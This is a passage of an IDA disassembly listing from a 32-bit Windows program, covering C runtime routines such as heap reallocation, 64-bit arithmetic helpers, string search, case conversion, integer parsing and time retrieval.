eax, [edi-4] dec eax mov [ebp+var_24], eax cmp eax, esi jb short loc_414A8D mov eax, esi loc_414A8D: ; CODE XREF: sub_4149EA+9Fj push eax push edi push [ebp+var_1C] call sub_418F70 push edi call sub_41812E mov [ebp+var_20], eax push edi push eax call sub_418159 add esp, 18h loc_414AAA: ; CODE XREF: sub_4149EA+72j ; sub_4149EA+86j ... cmp [ebp+var_1C], ebx jnz short loc_414AFA cmp esi, ebx jnz short loc_414AB9 xor esi, esi inc esi mov [ebp+arg_4], esi loc_414AB9: ; CODE XREF: sub_4149EA+C7j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push ebx push dword_47C99C call ds:dword_42005C ; RtlAllocateHeap mov [ebp+var_1C], eax cmp eax, ebx jz short loc_414AFA mov eax, [edi-4] dec eax mov [ebp+var_24], eax cmp eax, esi jb short loc_414AE4 mov eax, esi loc_414AE4: ; CODE XREF: sub_4149EA+F6j push eax push edi push [ebp+var_1C] call sub_418F70 push edi push [ebp+var_20] call sub_418159 add esp, 14h loc_414AFA: ; CODE XREF: sub_4149EA+66j ; sub_4149EA+C3j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_414B52 cmp [ebp+var_20], ebx jnz short loc_414B2A cmp esi, ebx jnz short loc_414B0F xor esi, esi inc esi loc_414B0F: ; CODE XREF: sub_4149EA+120j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push edi push ebx push dword_47C99C call ds:dword_420158 ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_414B2A: ; CODE XREF: sub_4149EA+49j ; sub_4149EA+11Cj mov eax, [ebp+var_1C] cmp eax, ebx jnz short loc_414B91 cmp dword_47C37C, ebx jz short loc_414B91 push esi call sub_4192AD pop ecx test eax, eax jnz loc_414A2D jmp short loc_414B8F sub_4149EA endp ; =============== S U B R O U T I N E ======================================= sub_414B4A proc near ; DATA XREF: .rdata:stru_428D38o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] sub_414B4A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414B52 proc near ; CODE XREF: sub_4149EA+114p push 4 call sub_418021 pop ecx retn sub_414B52 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4149EA loc_414B5B: ; CODE XREF: sub_4149EA+3Dj ; sub_4149EA+1A3j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_414B78 cmp esi, ebx jnz short loc_414B69 xor esi, esi inc esi loc_414B69: ; CODE XREF: sub_4149EA+17Aj push esi push edi push ebx push dword_47C99C call ds:dword_420158 ; RtlReAllocateHeap loc_414B78: ; CODE XREF: sub_4149EA+176j cmp eax, ebx jnz short loc_414B91 cmp dword_47C37C, ebx jz short loc_414B91 push esi call sub_4192AD pop ecx test eax, eax jnz short loc_414B5B loc_414B8F: ; CODE XREF: sub_4149EA+31j ; sub_4149EA+15Ej xor eax, eax loc_414B91: ; CODE XREF: sub_4149EA+1Ej ; sub_4149EA+145j ... call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_4149EA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B97 proc near ; CODE XREF: sub_414BF3+Ap var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 10h push offset stru_428D48 call __SEH_prolog call sub_4194B5 mov [ebp+var_1C], eax test eax, eax jnz short loc_414BBE call sub_419430 mov dword ptr [eax], 18h xor eax, eax jmp short loc_414BE3 ; --------------------------------------------------------------------------- loc_414BBE: ; CODE XREF: sub_414B97+16j and [ebp+ms_exc.disabled], 0 push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4192C8 add esp, 10h mov [ebp+var_20], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_414BE9 mov eax, [ebp+var_20] loc_414BE3: ; CODE XREF: sub_414B97+25j call __SEH_epilog retn sub_414B97 endp ; =============== S U B R O U T I N E ======================================= sub_414BE9 proc near ; CODE XREF: sub_414B97+44p ; DATA XREF: .rdata:stru_428D48o push dword ptr [ebp-1Ch] call sub_417E7A pop ecx retn sub_414BE9 endp ; =============== S U B R O U T I N E ======================================= sub_414BF3 proc near ; CODE XREF: sub_403B6D+2Ap ; sub_4089DC+3785p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_414B97 add esp, 0Ch retn sub_414BF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C06 proc near ; CODE XREF: sub_414C81+Bp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset stru_428D58 call __SEH_prolog mov esi, [ebp+arg_0] cmp dword_47C9A0, 3 jnz short loc_414C4C cmp esi, dword_47C98C ja short loc_414C4C push 4 call sub_4180B5 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_41890D pop ecx mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_414C78 mov eax, [ebp+var_1C] test eax, eax jnz short loc_414C6F loc_414C4C: ; CODE XREF: sub_414C06+16j ; sub_414C06+1Ej test esi, esi jnz short loc_414C51 inc esi loc_414C51: ; CODE XREF: sub_414C06+48j cmp dword_47C9A0, 1 jz short loc_414C60 add esi, 0Fh and esi, 0FFFFFFF0h loc_414C60: ; CODE XREF: sub_414C06+52j push esi push 0 push dword_47C99C call ds:dword_42005C ; RtlAllocateHeap loc_414C6F: ; CODE XREF: sub_414C06+44j call __SEH_epilog retn sub_414C06 endp ; =============== S U B R O U T I N E ======================================= sub_414C75 proc near ; DATA XREF: .rdata:stru_428D58o mov esi, [ebp+8] sub_414C75 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414C78 proc near ; CODE XREF: sub_414C06+3Ap push 4 call sub_418021 pop ecx retn sub_414C78 endp ; =============== S U B R O U T I N E ======================================= sub_414C81 proc near ; CODE XREF: sub_414CAD+Ap ; sub_41542E+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_414CAA loc_414C88: ; CODE XREF: sub_414C81+27j push [esp+arg_0] call sub_414C06 test eax, eax pop ecx jnz short locret_414CAC cmp [esp+arg_4], eax jz short locret_414CAC push [esp+arg_0] call sub_4192AD test eax, eax pop ecx jnz short loc_414C88 loc_414CAA: ; CODE XREF: sub_414C81+5j xor eax, eax locret_414CAC: ; CODE XREF: sub_414C81+13j ; sub_414C81+19j retn sub_414C81 endp ; =============== S U B R O U T I N E ======================================= sub_414CAD proc near ; CODE XREF: sub_402DDF+1Ep ; sub_407C37+5Ep ... arg_0 = dword ptr 4 push dword_47C37C push [esp+4+arg_0] call sub_414C81 pop ecx pop ecx retn sub_414CAD endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414CC0 proc near ; CODE XREF: sub_4021B5+18Dp ; sub_4111E2+114p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_414CD9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_414CD9: ; CODE XREF: sub_414CC0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_414CC0 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_414CF5 proc near ; CODE XREF: sub_414D2Dp mov eax, offset sub_419999 mov off_42DE98, eax mov off_42DE9C, offset sub_419613 mov off_42DEA0, offset sub_419678 mov off_42DEA4, offset sub_4195D7 mov off_42DEA8, offset sub_41965E mov off_42DEAC, eax retn sub_414CF5 endp ; =============== S U B R O U T I N E ======================================= sub_414D2D proc near ; CODE XREF: sub_415D8B+9p ; DATA XREF: .data:off_42D7A8o call sub_414CF5 call sub_419A3C mov dword_47C1BC, eax call sub_4199EA fnclex retn sub_414D2D endp ; =============== S U B R O U T I N E ======================================= sub_414D44 proc near ; CODE XREF: sub_402AE7+8p ; sub_413E26+FEp arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_4200A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_414D64 call ds:dword_420008 ; RtlGetLastWin32Error push eax call sub_419442 pop ecx loc_414D60: ; CODE XREF: sub_414D44+41j or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_414D64: ; CODE XREF: sub_414D44+Dj test al, 1 jz short loc_414D87 test [esp+arg_4], 2 jz short loc_414D87 call sub_419430 mov dword ptr [eax], 0Dh call sub_419439 mov dword ptr [eax], 5 jmp short loc_414D60 ; --------------------------------------------------------------------------- loc_414D87: ; CODE XREF: sub_414D44+22j ; sub_414D44+29j xor eax, eax retn sub_414D44 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414D90 proc near ; CODE XREF: sub_402B01+2Ap ; sub_416492+60Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi mov eax, [esp+4+arg_C] or eax, eax jnz short loc_414DC1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+4+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+4+arg_8] mov ecx, eax mov eax, esi mul [esp+4+arg_8] add edx, ecx jmp short loc_414E08 ; --------------------------------------------------------------------------- loc_414DC1: ; CODE XREF: sub_414D90+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_414DCF: ; CODE XREF: sub_414D90+49j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_414DCF div ebx mov esi, eax mul [esp+4+arg_C] mov ecx, eax mov eax, [esp+4+arg_8] mul esi add edx, ecx jb short loc_414DFD cmp edx, [esp+4+arg_4] ja short loc_414DFD jb short loc_414E06 cmp eax, [esp+4+arg_0] jbe short loc_414E06 loc_414DFD: ; CODE XREF: sub_414D90+5Dj ; sub_414D90+63j dec esi sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_414E06: ; CODE XREF: sub_414D90+65j ; sub_414D90+6Bj xor ebx, ebx loc_414E08: ; CODE XREF: sub_414D90+2Fj sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi pop esi retn 10h sub_414D90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414E30 proc near ; CODE XREF: sub_402C05+5Fp ; sub_402C05+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_414E51 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_414E51: ; CODE XREF: sub_414E30+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_414E6D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_414E6D: ; CODE XREF: sub_414E30+27j or eax, eax jnz short loc_414E89 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_414ECA ; --------------------------------------------------------------------------- loc_414E89: ; CODE XREF: sub_414E30+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_414E97: ; CODE XREF: sub_414E30+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_414E97 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_414EC5 cmp edx, [esp+0Ch+arg_4] ja short loc_414EC5 jb short loc_414EC6 cmp eax, [esp+0Ch+arg_0] jbe short loc_414EC6 loc_414EC5: ; CODE XREF: sub_414E30+85j ; sub_414E30+8Bj dec esi loc_414EC6: ; CODE XREF: sub_414E30+8Dj ; sub_414E30+93j xor edx, edx mov eax, esi loc_414ECA: ; CODE XREF: sub_414E30+57j dec edi jnz short loc_414ED4 neg edx neg eax sbb edx, 0 loc_414ED4: ; CODE XREF: sub_414E30+9Bj pop ebx pop esi pop edi retn 10h sub_414E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414EE0 proc near ; CODE XREF: sub_4031AF+C6p ; sub_4031AF+133p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_414F60 mov dh, [ecx+1] test dh, dh jz short loc_414F4D loc_414EF8: ; CODE XREF: sub_414EE0+58j ; sub_414EE0+6Bj mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] add esi, 1 cmp al, dl jz short loc_414F1E test al, al jz short loc_414F18 loc_414F0B: ; CODE XREF: sub_414EE0+36j mov al, [esi] add esi, 1 loc_414F10: ; CODE XREF: sub_414EE0+45j cmp al, dl jz short loc_414F1E test al, al jnz short loc_414F0B loc_414F18: ; CODE XREF: sub_414EE0+29j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_414F1E: ; CODE XREF: sub_414EE0+25j ; sub_414EE0+32j mov al, [esi] add esi, 1 cmp al, dh jnz short loc_414F10 lea edi, [esi-1] loc_414F2A: ; CODE XREF: sub_414EE0+69j mov ah, [ecx+2] test ah, ah jz short loc_414F59 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_414EF8 mov al, [ecx+3] test al, al jz short loc_414F59 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_414F2A jmp short loc_414EF8 ; --------------------------------------------------------------------------- loc_414F4D: ; CODE XREF: sub_414EE0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_4158C6 ; --------------------------------------------------------------------------- loc_414F59: ; CODE XREF: sub_414EE0+4Fj ; sub_414EE0+5Fj lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_414F60: ; CODE XREF: sub_414EE0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_414EE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F66 proc near ; CODE XREF: sub_4031AF+BFp ; sub_4031AF+12Cp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 18h push offset stru_428D68 call __SEH_prolog xor ebx, ebx mov [ebp+var_1C], ebx call sub_416C45 mov esi, [eax+64h] mov [ebp+var_20], esi cmp esi, off_42D84C jz short loc_414F94 call sub_417A7E mov esi, eax mov [ebp+var_20], esi loc_414F94: ; CODE XREF: sub_414F66+22j mov eax, [esi+14h] cmp eax, ebx jnz short loc_414FC3 mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz loc_415071 loc_414FA8: ; CODE XREF: sub_414F66+56j mov cl, [edx] cmp cl, 61h jl short loc_414FB9 cmp cl, 7Ah jg short loc_414FB9 sub cl, 20h mov [edx], cl loc_414FB9: ; CODE XREF: sub_414F66+47j ; sub_414F66+4Cj inc edx cmp [edx], bl jnz short loc_414FA8 jmp loc_415071 ; --------------------------------------------------------------------------- loc_414FC3: ; CODE XREF: sub_414F66+33j push 1 push dword ptr [esi+4] push ebx push ebx push 0FFFFFFFFh push [ebp+arg_0] push 200h push eax call sub_419C39 add esp, 20h mov [ebp+var_24], eax cmp eax, ebx jz loc_41506E mov [ebp+ms_exc.disabled], ebx add eax, 3 and eax, 0FFFFFFFCh call sub_414630 mov [ebp+ms_exc.old_esp], esp mov edi, esp mov [ebp+var_28], edi or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_41501B ; --------------------------------------------------------------------------- loc_415004: ; DATA XREF: .rdata:stru_428D68o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_415008: ; DATA XREF: .rdata:stru_428D68o mov esp, [ebp+ms_exc.old_esp] call sub_419B68 xor ebx, ebx xor edi, edi or [ebp+ms_exc.disabled], 0FFFFFFFFh mov esi, [ebp+var_20] loc_41501B: ; CODE XREF: sub_414F66+9Cj cmp edi, ebx jnz short loc_415035 push [ebp+var_24] call sub_414CAD pop ecx mov edi, eax mov [ebp+var_1C], 1 cmp edi, ebx jz short loc_415062 loc_415035: ; CODE XREF: sub_414F66+B7j push 1 push dword ptr [esi+4] push [ebp+var_24] push edi push 0FFFFFFFFh push [ebp+arg_0] push 200h push dword ptr [esi+14h] call sub_419C39 add esp, 20h test eax, eax jz short loc_415062 push edi push [ebp+arg_0] call sub_419A70 pop ecx pop ecx loc_415062: ; CODE XREF: sub_414F66+CDj ; sub_414F66+EFj cmp [ebp+var_1C], ebx jz short loc_41506E push edi call sub_414844 pop ecx loc_41506E: ; CODE XREF: sub_414F66+7Cj ; sub_414F66+FFj mov eax, [ebp+arg_0] loc_415071: ; CODE XREF: sub_414F66+3Cj ; sub_414F66+58j lea esp, [ebp-34h] call __SEH_epilog retn sub_414F66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41507A proc near ; CODE XREF: sub_415239+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi call sub_416C45 mov esi, [eax+64h] cmp esi, off_42D84C jz short loc_415098 call sub_417A7E mov esi, eax loc_415098: ; CODE XREF: sub_41507A+15j mov ecx, [ebp+arg_0] and [ebp+var_4], 0 mov bl, [ecx] lea edi, [ecx+1] loc_4150A4: ; CODE XREF: sub_41507A+55j cmp dword ptr [esi+28h], 1 movzx eax, bl jle short loc_4150BE push 8 push eax push esi call sub_41787B mov ecx, [ebp+arg_0] add esp, 0Ch jmp short loc_4150C8 ; --------------------------------------------------------------------------- loc_4150BE: ; CODE XREF: sub_41507A+31j mov edx, [esi+48h] movzx eax, byte ptr [edx+eax*2] and eax, 8 loc_4150C8: ; CODE XREF: sub_41507A+42j test eax, eax jz short loc_4150D1 mov bl, [edi] inc edi jmp short loc_4150A4 ; --------------------------------------------------------------------------- loc_4150D1: ; CODE XREF: sub_41507A+50j cmp bl, 2Dh jnz short loc_4150DC or [ebp+arg_C], 2 jmp short loc_4150E1 ; --------------------------------------------------------------------------- loc_4150DC: ; CODE XREF: sub_41507A+5Aj cmp bl, 2Bh jnz short loc_4150E4 loc_4150E1: ; CODE XREF: sub_41507A+60j mov bl, [edi] inc edi loc_4150E4: ; CODE XREF: sub_41507A+65j mov eax, [ebp+arg_8] test eax, eax jl loc_415229 cmp eax, 1 jz loc_415229 cmp eax, 24h jg loc_415229 test eax, eax push 10h pop ecx jnz short loc_41512C cmp bl, 30h jz short loc_415116 mov [ebp+arg_8], 0Ah jmp short loc_415144 ; --------------------------------------------------------------------------- loc_415116: ; CODE XREF: sub_41507A+91j mov al, [edi] cmp al, 78h jz short loc_415129 cmp al, 58h jz short loc_415129 mov [ebp+arg_8], 8 jmp short loc_415144 ; --------------------------------------------------------------------------- loc_415129: ; CODE XREF: sub_41507A+A0j ; sub_41507A+A4j mov [ebp+arg_8], ecx loc_41512C: ; CODE XREF: sub_41507A+8Cj cmp [ebp+arg_8], ecx jnz short loc_415144 cmp bl, 30h jnz short loc_415144 mov al, [edi] cmp al, 78h jz short loc_415140 cmp al, 58h jnz short loc_415144 loc_415140: ; CODE XREF: sub_41507A+C0j inc edi mov bl, [edi] inc edi loc_415144: ; CODE XREF: sub_41507A+9Aj ; sub_41507A+ADj ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] loc_41514C: ; CODE XREF: sub_41507A+134j mov esi, off_42DEB0 movzx ecx, bl mov cx, [esi+ecx*2] test cl, 4 jz short loc_415166 movsx ecx, bl sub ecx, 30h jmp short loc_415185 ; --------------------------------------------------------------------------- loc_415166: ; CODE XREF: sub_41507A+E2j test cx, 103h jz short loc_4151B0 cmp bl, 61h jl short loc_41517F cmp bl, 7Ah jg short loc_41517F movsx ecx, bl sub ecx, 20h jmp short loc_415182 ; --------------------------------------------------------------------------- loc_41517F: ; CODE XREF: sub_41507A+F6j ; sub_41507A+FBj movsx ecx, bl loc_415182: ; CODE XREF: sub_41507A+103j add ecx, 0FFFFFFC9h loc_415185: ; CODE XREF: sub_41507A+EAj cmp ecx, [ebp+arg_8] jnb short loc_4151B0 or [ebp+arg_C], 8 cmp [ebp+var_4], eax jb short loc_41519F jnz short loc_415199 cmp ecx, edx jbe short loc_41519F loc_415199: ; CODE XREF: sub_41507A+119j or [ebp+arg_C], 4 jmp short loc_4151AB ; --------------------------------------------------------------------------- loc_41519F: ; CODE XREF: sub_41507A+117j ; sub_41507A+11Dj mov esi, [ebp+var_4] imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_4], esi loc_4151AB: ; CODE XREF: sub_41507A+123j mov bl, [edi] inc edi jmp short loc_41514C ; --------------------------------------------------------------------------- loc_4151B0: ; CODE XREF: sub_41507A+F1j ; sub_41507A+10Ej mov eax, [ebp+arg_C] dec edi test al, 8 jnz short loc_4151C7 cmp [ebp+arg_4], 0 jz short loc_4151C1 mov edi, [ebp+arg_0] loc_4151C1: ; CODE XREF: sub_41507A+142j and [ebp+var_4], 0 jmp short loc_415212 ; --------------------------------------------------------------------------- loc_4151C7: ; CODE XREF: sub_41507A+13Cj test al, 4 mov esi, 7FFFFFFFh jnz short loc_4151EB test al, 1 jnz short loc_415212 and eax, 2 jz short loc_4151E2 cmp [ebp+var_4], 80000000h ja short loc_4151EB loc_4151E2: ; CODE XREF: sub_41507A+15Dj test eax, eax jnz short loc_415212 cmp [ebp+var_4], esi jbe short loc_415212 loc_4151EB: ; CODE XREF: sub_41507A+154j ; sub_41507A+166j call sub_419430 test byte ptr [ebp+arg_C], 1 mov dword ptr [eax], 22h jz short loc_415202 or [ebp+var_4], 0FFFFFFFFh jmp short loc_415212 ; --------------------------------------------------------------------------- loc_415202: ; CODE XREF: sub_41507A+180j mov al, byte ptr [ebp+arg_C] and al, 2 neg al sbb eax, eax neg eax add eax, esi mov [ebp+var_4], eax loc_415212: ; CODE XREF: sub_41507A+14Bj ; sub_41507A+158j ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41521B mov [eax], edi loc_41521B: ; CODE XREF: sub_41507A+19Dj test byte ptr [ebp+arg_C], 2 jz short loc_415224 neg [ebp+var_4] loc_415224: ; CODE XREF: sub_41507A+1A5j mov eax, [ebp+var_4] jmp short loc_415234 ; --------------------------------------------------------------------------- loc_415229: ; CODE XREF: sub_41507A+6Fj ; sub_41507A+78j ... mov eax, [ebp+arg_4] test eax, eax jz short loc_415232 mov [eax], ecx loc_415232: ; CODE XREF: sub_41507A+1B4j xor eax, eax loc_415234: ; CODE XREF: sub_41507A+1ADj pop edi pop esi pop ebx leave retn sub_41507A endp ; =============== S U B R O U T I N E ======================================= sub_415239 proc near ; CODE XREF: sub_403BFF+440p ; sub_4089DC+27DEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41507A add esp, 10h retn sub_415239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415250 proc near ; CODE XREF: sub_403BFF+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push eax call ds:dword_42015C ; GetSystemTimeAsFileTime mov eax, [ebp+var_8] mov ecx, [ebp+var_4] push 0 add eax, 2AC18000h push 989680h adc ecx, 0FE624E21h push ecx push eax call sub_415F90 mov ecx, [ebp+arg_0] test ecx, ecx jz short locret_415287 mov [ecx], eax locret_415287: ; CODE XREF: sub_415250+33j leave retn sub_415250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415289 proc near ; CODE XREF: sub_4041A6+2Ap ; sub_404C2E+FDp ... var_24 = byte ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h mov eax, dword_42DEB8 xor eax, [ebp+4] push ebx push esi mov esi, [ebp+arg_4] push edi mov [ebp+var_4], eax call sub_416C45 push 8 pop ecx mov [ebp+arg_4], eax xor eax, eax lea edi, [ebp+var_24] push 7 rep stosd pop edi loc_4152B5: ; CODE XREF: sub_415289+45j mov dl, [esi] movzx ecx, dl mov eax, ecx and ecx, edi mov bl, 1 shl bl, cl shr eax, 3 lea eax, [ebp+eax+var_24] or [eax], bl inc esi test dl, dl jnz short loc_4152B5 mov edx, [ebp+arg_0] test edx, edx jnz short loc_4152E4 mov eax, [ebp+arg_4] mov edx, [eax+18h] jmp short loc_4152E4 ; --------------------------------------------------------------------------- loc_4152DF: ; CODE XREF: sub_415289+72j test al, al jz short loc_4152FD inc edx loc_4152E4: ; CODE XREF: sub_415289+4Cj ; sub_415289+54j mov al, [edx] movzx esi, al xor ebx, ebx mov ecx, esi and ecx, edi inc ebx shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_24] test bl, cl jnz short loc_4152DF loc_4152FD: ; CODE XREF: sub_415289+58j mov ebx, edx jmp short loc_415319 ; --------------------------------------------------------------------------- loc_415301: ; CODE XREF: sub_415289+93j movzx esi, byte ptr [edx] xor eax, eax mov ecx, esi and ecx, edi inc eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_24] test al, cl jnz short loc_415320 inc edx loc_415319: ; CODE XREF: sub_415289+76j cmp byte ptr [edx], 0 jnz short loc_415301 jmp short loc_415324 ; --------------------------------------------------------------------------- loc_415320: ; CODE XREF: sub_415289+8Dj and byte ptr [edx], 0 inc edx loc_415324: ; CODE XREF: sub_415289+95j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax+18h], edx mov eax, ebx sub eax, edx neg eax sbb eax, eax xor ecx, [ebp+4] pop edi and eax, ebx pop esi pop ebx call sub_41A026 leave retn sub_415289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415344 proc near ; CODE XREF: sub_41540C+1Ap var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] cmp dword ptr [esi+14h], 0 push edi jz loc_4153F8 cmp dword ptr [esi+24h], 0 jz short loc_41536A cmp ebx, 7Fh jbe loc_4153F8 loc_41536A: ; CODE XREF: sub_415344+1Bj xor edi, edi inc edi cmp ebx, 100h jnb short loc_415394 cmp [esi+28h], edi jle short loc_415387 push edi push ebx push esi call sub_41787B add esp, 0Ch jmp short loc_415390 ; --------------------------------------------------------------------------- loc_415387: ; CODE XREF: sub_415344+34j mov eax, [esi+48h] movzx eax, byte ptr [eax+ebx*2] and eax, edi loc_415390: ; CODE XREF: sub_415344+41j test eax, eax jz short loc_415405 loc_415394: ; CODE XREF: sub_415344+2Fj mov edx, [esi+48h] mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4153B5 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_4153BE ; --------------------------------------------------------------------------- loc_4153B5: ; CODE XREF: sub_415344+60j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, edi loc_4153BE: ; CODE XREF: sub_415344+6Fj push edi push dword ptr [esi+4] lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 100h push dword ptr [esi+14h] call sub_419C39 add esp, 20h test eax, eax jz short loc_415405 cmp eax, edi jnz short loc_4153EB movzx eax, [ebp+var_4] jmp short loc_415407 ; --------------------------------------------------------------------------- loc_4153EB: ; CODE XREF: sub_415344+9Fj movzx ecx, [ebp+var_3] xor eax, eax mov ah, [ebp+var_4] or eax, ecx jmp short loc_415407 ; --------------------------------------------------------------------------- loc_4153F8: ; CODE XREF: sub_415344+11j ; sub_415344+20j cmp ebx, 41h jl short loc_415405 cmp ebx, 5Ah lea eax, [ebx+20h] jle short loc_415407 loc_415405: ; CODE XREF: sub_415344+4Ej ; sub_415344+9Bj ... mov eax, ebx loc_415407: ; CODE XREF: sub_415344+A5j ; sub_415344+B2j ... pop edi pop esi pop ebx leave retn sub_415344 endp ; =============== S U B R O U T I N E ======================================= sub_41540C proc near ; CODE XREF: sub_4067CC+6p ; sub_406BB7+56p ... arg_0 = dword ptr 4 call sub_416C45 mov eax, [eax+64h] cmp eax, off_42D84C jz short 